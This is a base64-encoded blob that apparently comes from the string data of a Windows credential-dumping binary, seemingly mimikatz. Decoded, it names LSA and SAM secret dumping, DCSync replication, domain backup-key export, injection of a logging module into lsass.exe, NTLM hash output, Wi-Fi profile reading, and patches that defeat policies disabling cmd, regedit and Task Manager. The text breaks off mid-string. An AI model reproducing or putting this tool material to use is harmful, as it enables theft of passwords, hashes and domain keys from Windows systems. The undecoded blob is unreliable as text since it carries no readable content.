QAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAG0AYQBjACAAKAAwAHgAJQAwADgAeAApAAoAAABVAHMAZQByACAAIAAgACAAIAAgADoAIAAlAC4AKgBzAFwAJQAuACoAcwAKAAAAAABNAHMAQwBhAGMAaABlAFYAJQBjACAAOgAgAAAATwBiAGoAZQBjAHQATgBhAG0AZQAAAAAAIAAvACAAcwBlAHIAdgBpAGMAZQAgACcAJQBzACcAIAB3AGkAdABoACAAdQBzAGUAcgBuAGEAbQBlACAAOgAgACUAcwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABlAGMAcgB5AHAAdABTAGUAYwByAGUAdAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAUwBlAGMAcgBlAHQAIAB2AGEAbAB1AGUAIABLAE8ACgAAAHQAZQB4AHQAOgAgACUAdwBaAAAAaABlAHgAIAA6ACAAAAAAACQATQBBAEMASABJAE4ARQAuAEEAQwBDAAAAAAAKACAAIAAgACAATgBUAEwATQA6AAAAAAAKACAAIAAgACAAUwBIAEEAMQA6AAAAAABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAAAAAACgAgACAAIAAgAGYAdQBsAGwAOgAgAAAACgAgACAAIAAgAG0ALwB1ACAAOgAgAAAAIAAvACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAEMAcgB5AHAAdABTAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGgAawBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAcwBhAG0AcwByAHYALgBkAGwAbAAAAAAAbABzAGEAcwByAHYALgBkAGwAbAAAAAAAbgB0AGQAbABsAC4AZABsAGwAAABrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAAAAAAU2FtSUNvbm5lY3QAU2FtckNsb3NlSGFuZGxlAFNhbUlSZXRyaWV2ZVByaW1hcnlDcmVkZW50aWFscwAAU2Ftck9wZW5Eb21haW4AAFNhbXJPcGVuVXNlcgAAAABTYW1yUXVlcnlJbmZvcm1hdGlvblVzZXIAAAAAU2FtSUZyZWVfU0FNUFJfVVNFUl9JTkZPX0JVRkZFUgBMc2FJUXVlcnlJbmZvcm1hdGlvblBvbGljeVRydXN0ZWQAAABMc2FJRnJlZV9MU0FQUl9QT0xJQ1lfSU5GT1JNQVRJT04AAABWaXJ0dWFsQWxsb2MAAAAATG9jYWxGcmVlAAAAbWVtY3B5AABwAGEAdABjAGgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAGkAbgBqAGUAYwB0AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAKAAAAAABEAG8AbQBhAGkAbgAgADoAIAAlAHcAWgAgAC8AIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAJwAlAHMAJwAgAGkAcwAgAG4AbwB0ACAAYQAgAHYAYQBsAGkAZAAgAEkAZAAKAAAAAABuAGEAbQBlAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAATgBhAG0AZQBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAFUAcwBlAHIAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAABTAGEAbQBTAHMAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAUgBJAEQAIAAgADoAIAAlADAAOAB4ACAAKAAlAHUAKQAKAFUAcwBlAHIAIAA6ACAAJQB3AFoACgAAAEwATQAgACAAIAA6ACAAAAAKAE4AVABMAE0AIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AdQBzAGUAcgAgADsAIABTAGEAbQBRAHUAZQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAFUAcwBlAHIAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAFAAcgBpAG0AYQByAHkAAABDAEwARQBBAFIAVABFAFgAVAAAAFcARABpAGcAZQBzAHQAAABLAGUAcgBiAGUAcgBvAHMAAAAAAEsAZQByAGIAZQByAG8AcwAtAE4AZQB3AGUAcgAtAEsAZQB5AHMAAAAKACAAKgAgACUAcwAKAAAAIAAgACAAIABMAE0AIAAgACAAOgAgAAAACgAgACAAIAAgAE4AVABMAE0AIAA6ACAAAAAAACAAIAAgACAAJQAuACoAcwAKAAAAIAAgACAAIAAlADAAMgB1ACAAIAAAAAAAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAAUwBhAGwAdAAgADoAIAAlAC4AKgBzAAoAAAAAAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAE8AbABkAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAAUwBhAGwAdAAgADoAIAAlAC4AKgBzAAoAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAASQB0AGUAcgBhAHQAaQBvAG4AcwAgADoAIAAlAHUACgAAAAAAUwBlAHIAdgBpAGMAZQBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAE8AbABkAGUAcgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAACAAIAAgACAAIAAgACUAcwAgADoAIAAAACAAIAAgACAAIAAgACUAcwAgACgAJQB1ACkAIAA6ACAAAAAAAE4ATwBOAEUAIAAgACAAAABOAFQANABPAFcARgAgAAAAQwBMAEUAQQBSACAAIAAAAFYARQBSAFMASQBPAE4AAAAgAFsAJQBzAF0AIAAlAHcAWgAgAC0APgAgACUAdwBaAAoAAAAgACAAIAAgACoAIAAAAAAAdQBuAGsAbgBvAHcAbgA/AAAAAAAgAC0AIAAlAHMAIAAtACAAAAAAAC0AIAAlAHUAIAAtACAAAABsAHMAYQBkAGIALgBkAGwAbAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB0AHIAdQBzAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHQAcgB1AHMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAKAEMAdQByAHIAZQBuAHQAIABkAG8AbQBhAGkAbgA6ACAAJQB3AFoAIAAoACUAdwBaAAAACgBEAG8AbQBhAGkAbgA6ACAAJQB3AFoAIAAoACUAdwBaAAAAIAAgAEkAbgAgAAAAIABPAHUAdAAgAAAAIABJAG4ALQAxAAAATwB1AHQALQAxAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAEwAcwBhAFEAdQBlAHIAeQBUAHIAdQBzAHQAZQBkAEQAbwBtAGEAaQBuAEkAbgBmAG8AQgB5AE4AYQBtAGUAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHQAcgB1AHMAdAAgADsAIABMAHMAYQBFAG4AdQBtAGUAcgBhAHQAZQBUAHIAdQBzAHQAZQBkAEQAbwBtAGEAaQBuAHMARQB4ACAAJQAwADgAeAAKAAAAIAAgACoAIABSAFMAQQAgAGsAZQB5AAoAAAAAAG4AdABkAHMAAAAAAAkAUABGAFgAIABjAG8AbgB0AGEAaQBuAGUAcgAgACAAOgAgACUAcwAgAC0AIAAnACUAcwAnAAoAAAAAACAAIAAqACAATABlAGcAYQBjAHkAIABrAGUAeQAKAAAAawBlAHkAAABsAGUAZwBhAGMAeQAAAAAAAAAAACAAIAAqACAAVQBuAGsAbgBvAHcAbgAgAGsAZQB5ACAAKABzAGUAZQBuACAAYQBzACAAJQAwADgAeAApAAoAAAAJAEUAeABwAG8AcgB0ACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIAAtACAAJwAlAHMAJwAKAAAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASwBlAHkARgByAG8AbQBHAFUASQBEACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAGcAdQBpAGQAAAAAACAAcwBlAGUAbQBzACAAdABvACAAYgBlACAAYQAgAHYAYQBsAGkAZAAgAEcAVQBJAEQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYgBrAGUAeQAgADsAIABJAG4AdgBhAGwAaQBkAGUAIABHAFUASQBEACAAKAAwAHgAJQAwADgAeAApACAAOwAgACUAcwAKAAAAAAAKAEMAdQByAHIAZQBuAHQAIABwAHIAZQBmAGUAcgBlAGQAIABrAGUAeQA6ACAAIAAgACAAIAAgACAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AUABSAEUARgBFAFIAUgBFAEQAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBiAGsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAAoAQwBvAG0AcABhAHQAaQBiAGkAbABpAHQAeQAgAHAAcgBlAGYAZQByAGUAZAAgAGsAZQB5ADoAIAAAAEcAJABCAEMASwBVAFAASwBFAFkAXwBQAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwByAHAAZABhAHQAYQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBMAHMAYQBSAGUAdAByAGkAZQB2AGUAUAByAGkAdgBhAHQAZQBEAGEAdABhADoAIAAwAHgAJQAwADgAeAAKAAAAAABbAEQAQwBdACAAJwAlAHMAJwAgAHcAaQBsAGwAIABiAGUAIAB0AGgAZQAgAGQAbwBtAGEAaQBuAAoAAABkAGMAAAAAAGsAZABjAAAAWwBEAEMAXQAgACcAJQBzACcAIAB3AGkAbABsACAAYgBlACAAdABoAGUAIABEAEMAIABzAGUAcgB2AGUAcgAKAAoAAABbAEQAQwBdACAATwBiAGoAZQBjAHQAIAB3AGkAdABoACAARwBVAEkARAAgACcAJQBzACcACgAKAAAAAABbAEQAQwBdACAAJwAlAHMAJwAgAHcAaQBsAGwAIABiAGUAIAB0AGgAZQAgAHUAcwBlAHIAIABhAGMAYwBvAHUAbgB0AAoACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEQAUgBTAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzACwAIABpAG4AdgBhAGwAaQBkACAAZAB3AE8AdQB0AFYAZQByAHMAaQBvAG4AIABhAG4AZAAvAG8AcgAgAGMATgB1AG0ATwBiAGoAZQBjAHQAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABvAHIAIABnAHUAaQBkACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAG8AbQBhAGkAbgAgAEMAbwBuAHQAcgBvAGwAbABlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEQAbwBtAGEAaQBuACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0ACwAIABvAHIAIABkAG8AZQBzAG4AJwB0ACAAbABvAG8AawAgAGwAaQBrAGUAIABhACAARgBRAEQATgAKAAAAAAAlAHMAJQAuACoAcwAlAHMAAAAAACAAIAAgACAAJQBzAC0AJQAyAHUAOgAgAAAAAAAgACAASABhAHMAaAAgACUAcwA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAUgB0AGwARABlAGMAcgB5AHAAdABEAEUAUwAyAGIAbABvAGMAawBzADEARABXAE8AUgBEAAAAAABPAGIAagBlAGMAdAAgAFIARABOACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAABTAEMAUgBJAFAAVAAAAAAAQQBDAEMATwBVAE4AVABEAEkAUwBBAEIATABFAAAAAAAwAHgANAAgAD8AAABIAE8ATQBFAEQASQBSAF8AUgBFAFEAVQBJAFIARQBEAAAAAABMAE8AQwBLAE8AVQBUAAAAUABBAFMAUwBXAEQAXwBOAE8AVABSAEUAUQBEAAAAAABQAEEAUwBTAFcARABfAEMAQQBOAFQAXwBDAEgAQQBOAEcARQAAAAAAAAAAAEUATgBDAFIAWQBQAFQARQBEAF8AVABFAFgAVABfAFAAQQBTAFMAVwBPAFIARABfAEEATABMAE8AVwBFAEQAAABUAEUATQBQAF8ARABVAFAATABJAEMAQQBUAEUAXwBBAEMAQwBPAFUATgBUAAAAAABOAE8AUgBNAEEATABfAEEAQwBDAE8AVQBOAFQAAAAAADAAeAA0ADAAMAAgAD8AAABJAE4AVABFAFIARABPAE0AQQBJAE4AXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAVwBPAFIASwBTAFQAQQBUAEkATwBOAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAFMARQBSAFYARQBSAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAAAAMAB4ADQAMAAwADAAIAA/AAAAAAAwAHgAOAAwADAAMAAgAD8AAAAAAEQATwBOAFQAXwBFAFgAUABJAFIARQBfAFAAQQBTAFMAVwBEAAAAAABNAE4AUwBfAEwATwBHAE8ATgBfAEEAQwBDAE8AVQBOAFQAAABTAE0AQQBSAFQAQwBBAFIARABfAFIARQBRAFUASQBSAEUARAAAAAAAVABSAFUAUwBUAEUARABfAEYATwBSAF8ARABFAEwARQBHAEEAVABJAE8ATgAAAAAATgBPAFQAXwBEAEUATABFAEcAQQBUAEUARAAAAFUAUwBFAF8ARABFAFMAXwBLAEUAWQBfAE8ATgBMAFkAAAAAAEQATwBOAFQAXwBSAEUAUQBVAEkAUgBFAF8AUABSAEUAQQBVAFQASAAAAAAAUABBAFMAUwBXAE8AUgBEAF8ARQBYAFAASQBSAEUARAAAAAAAVABSAFUAUwBUAEUARABfAFQATwBfAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAF8ARgBPAFIAXwBEAEUATABFAEcAQQBUAEkATwBOAAAAAABOAE8AXwBBAFUAVABIAF8ARABBAFQAQQBfAFIARQBRAFUASQBSAEUARAAAAFAAQQBSAFQASQBBAEwAXwBTAEUAQwBSAEUAVABTAF8AQQBDAEMATwBVAE4AVAAAAFUAUwBFAF8AQQBFAFMAXwBLAEUAWQBTAAAAAAAwAHgAMQAwADAAMAAwADAAMAAwACAAPwAAAAAAMAB4ADIAMAAwADAAMAAwADAAMAAgAD8AAAAAADAAeAA0ADAAMAAwADAAMAAwADAAIAA/AAAAAAAwAHgAOAAwADAAMAAwADAAMAAwACAAPwAAAAAARABPAE0AQQBJAE4AXwBPAEIASgBFAEMAVAAAAEcAUgBPAFUAUABfAE8AQgBKAEUAQwBUAAAAAABOAE8ATgBfAFMARQBDAFUAUgBJAFQAWQBfAEcAUgBPAFUAUABfAE8AQgBKAEUAQwBUAAAAQQBMAEkAQQBTAF8ATwBCAEoARQBDAFQAAAAAAE4ATwBOAF8AUwBFAEMAVQBSAEkAVABZAF8AQQBMAEkAQQBTAF8ATwBCAEoARQBDAFQAAABVAFMARQBSAF8ATwBCAEoARQBDAFQAAABNAEEAQwBIAEkATgBFAF8AQQBDAEMATwBVAE4AVAAAAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAABBAFAAUABfAEIAQQBTAEkAQwBfAEcAUgBPAFUAUAAAAEEAUABQAF8AUQBVAEUAUgBZAF8ARwBSAE8AVQBQAAAAKgAqACAAUwBBAE0AIABBAEMAQwBPAFUATgBUACAAKgAqAAoACgAAAFMAQQBNACAAVQBzAGUAcgBuAGEAbQBlACAAIAAgACAAIAAgACAAIAAgADoAIAAAAFUAcwBlAHIAIABQAHIAaQBuAGMAaQBwAGEAbAAgAE4AYQBtAGUAIAAgADoAIAAAAEEAYwBjAG8AdQBuAHQAIABUAHkAcABlACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAAKAAgACUAcwAgACkACgAAAFUAcwBlAHIAIABBAGMAYwBvAHUAbgB0ACAAQwBvAG4AdAByAG8AbAAgADoAIAAlADAAOAB4ACAAKAAgAAAAAABBAGMAYwBvAHUAbgB0ACAAZQB4AHAAaQByAGEAdABpAG8AbgAgACAAIAA6ACAAAABQAGEAcwBzAHcAbwByAGQAIABsAGEAcwB0ACAAYwBoAGEAbgBnAGUAIAA6ACAAAABPAGIAagBlAGMAdAAgAFMAZQBjAHUAcgBpAHQAeQAgAEkARAAgACAAIAA6ACAAAABPAGIAagBlAGMAdAAgAFIAZQBsAGEAdABpAHYAZQAgAEkARAAgACAAIAA6ACAAJQB1AAoAAAAAAAoAQwByAGUAZABlAG4AdABpAGEAbABzADoACgAAAAAAbgB0AGwAbQAAAAAAbABtACAAIAAAAAAACgBTAHUAcABwAGwAZQBtAGUAbgB0AGEAbAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA6AAoAAAAqACAAJQB3AFoAIAAqAAoAAAAAACUwMngAAAAAAAAAACoAKgAgAFQAUgBVAFMAVABFAEQAIABEAE8ATQBBAEkATgAgAC0AIABBAG4AdABpAHMAbwBjAGkAYQBsACAAKgAqAAoACgAAAFAAYQByAHQAbgBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAAAAYwBtAGQAAABDAG8AbQBtAGEAbgBkACAAUAByAG8AbQBwAHQAIAAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAEMATQBEACkAAAAAAHIAZQBnAGUAZABpAHQAAAAAAAAAUgBlAGcAaQBzAHQAcgB5ACAARQBkAGkAdABvAHIAIAAgACAAIAAgACAAIAAgACAAKAB3AGkAdABoAG8AdQB0ACAARABpAHMAYQBiAGwAZQBSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzACkAAAAAAHQAYQBzAGsAbQBnAHIAAABUAGEAcwBrACAATQBhAG4AYQBnAGUAcgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAKQAAAAAAbgBjAHIAbwB1AHQAZQBtAG8AbgAAAAAAAAAAAEoAdQBuAGkAcABlAHIAIABOAGUAdAB3AG8AcgBrACAAQwBvAG4AbgBlAGMAdAAgACgAdwBpAHQAaABvAHUAdAAgAHIAbwB1AHQAZQAgAG0AbwBuAGkAdABvAHIAaQBuAGcAKQAAAAAAZABlAHQAbwB1AHIAcwAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFQAcgB5ACAAdABvACAAZQBuAHUAbQBlAHIAYQB0AGUAIABhAGwAbAAgAG0AbwBkAHUAbABlAHMAIAB3AGkAdABoACAARABlAHQAbwB1AHIAcwAtAGwAaQBrAGUAIABoAG8AbwBrAHMAAAB3AGkAZgBpAAAAAABtAGUAbQBzAHMAcAAAAAAAcwBrAGUAbABlAHQAbwBuAAAAAABtAGkAcwBjAAAAAABNAGkAcwBjAGUAbABsAGEAbgBlAG8AdQBzACAAbQBvAGQAdQBsAGUAAAAAAHcAbABhAG4AYQBwAGkAAABXbGFuT3BlbkhhbmRsZQAAV2xhbkNsb3NlSGFuZGxlAFdsYW5FbnVtSW50ZXJmYWNlcwAAV2xhbkdldFByb2ZpbGVMaXN0AABXbGFuR2V0UHJvZmlsZQAAV2xhbkZyZWVNZW1vcnkAAEsAaQB3AGkAQQBuAGQAQwBNAEQAAAAAAEQAaQBzAGEAYgBsAGUAQwBNAEQAAAAAAGMAbQBkAC4AZQB4AGUAAABLAGkAdwBpAEEAbgBkAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAAAAcgBlAGcAZQBkAGkAdAAuAGUAeABlAAAASwBpAHcAaQBBAG4AZABUAGEAcwBrAE0AZwByAAAAAABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAAAAAAHQAYQBzAGsAbQBnAHIALgBlAHgAZQAAAGQAcwBOAGMAUwBlAHIAdgBpAGMAZQAAAAkAKAAlAHcAWgApAAAAAAAJAFsAJQB1AF0AIAAlAHcAWgAgACEAIAAAAAAAJQAtADMAMgBTAAAAIwAgACUAdQAAAAAACQAgACUAcAAgAC0APgAgACUAcAAAAAAAJQB3AFoAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBkAGUAdABvAHUAcgBzAF8AYwBhAGwAbABiAGEAYwBrAF8AcAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAUABhAHQAYwBoACAATwBLACAAZgBvAHIAIAAnACUAcwAnACAAZgByAG8AbQAgACcAJQBzACcAIAB0AG8AIAAnACUAcwAnACAAQAAgACUAcAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGcAZQBuAGUAcgBpAGMAXwBuAG8AZwBwAG8AXwBwAGEAdABjAGgAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbgBvAHQAXwByAGUAYQBkAHkAAABjAG8AbgBuAGUAYwB0AGUAZAAAAGEAZABfAGgAbwBjAF8AbgBlAHQAdwBvAHIAawBfAGYAbwByAG0AZQBkAAAAZABpAHMAYwBvAG4AbgBlAGMAdABpAG4AZwAAAGQAaQBzAGMAbwBuAG4AZQBjAHQAZQBkAAAAAABhAHMAcwBvAGMAaQBhAHQAaQBuAGcAAABkAGkAcwBjAG8AdgBlAHIAaQBuAGcAAABhAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBuAGcAAAAAACAAKgAgAAAAIAAvACAAJQBzACAALQAgACUAcwAKAAAACQB8ACAAJQBzAAoAAAAAAG0AcwB2AGMAcgB0AC4AZABsAGwAAAAAAGZvcGVuAAAAZndwcmludGYAAAAAZmNsb3NlAABsAHMAYQBzAHMALgBlAHgAZQAAAG0AcwB2ADEAXwAwAC4AZABsAGwAAAAAAEkAbgBqAGUAYwB0AGUAZAAgAD0AKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIABUAHIAYQBtAHAAbwBsAGkAbgBlACAAbgAwACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAtACAAVAByAGEAbQ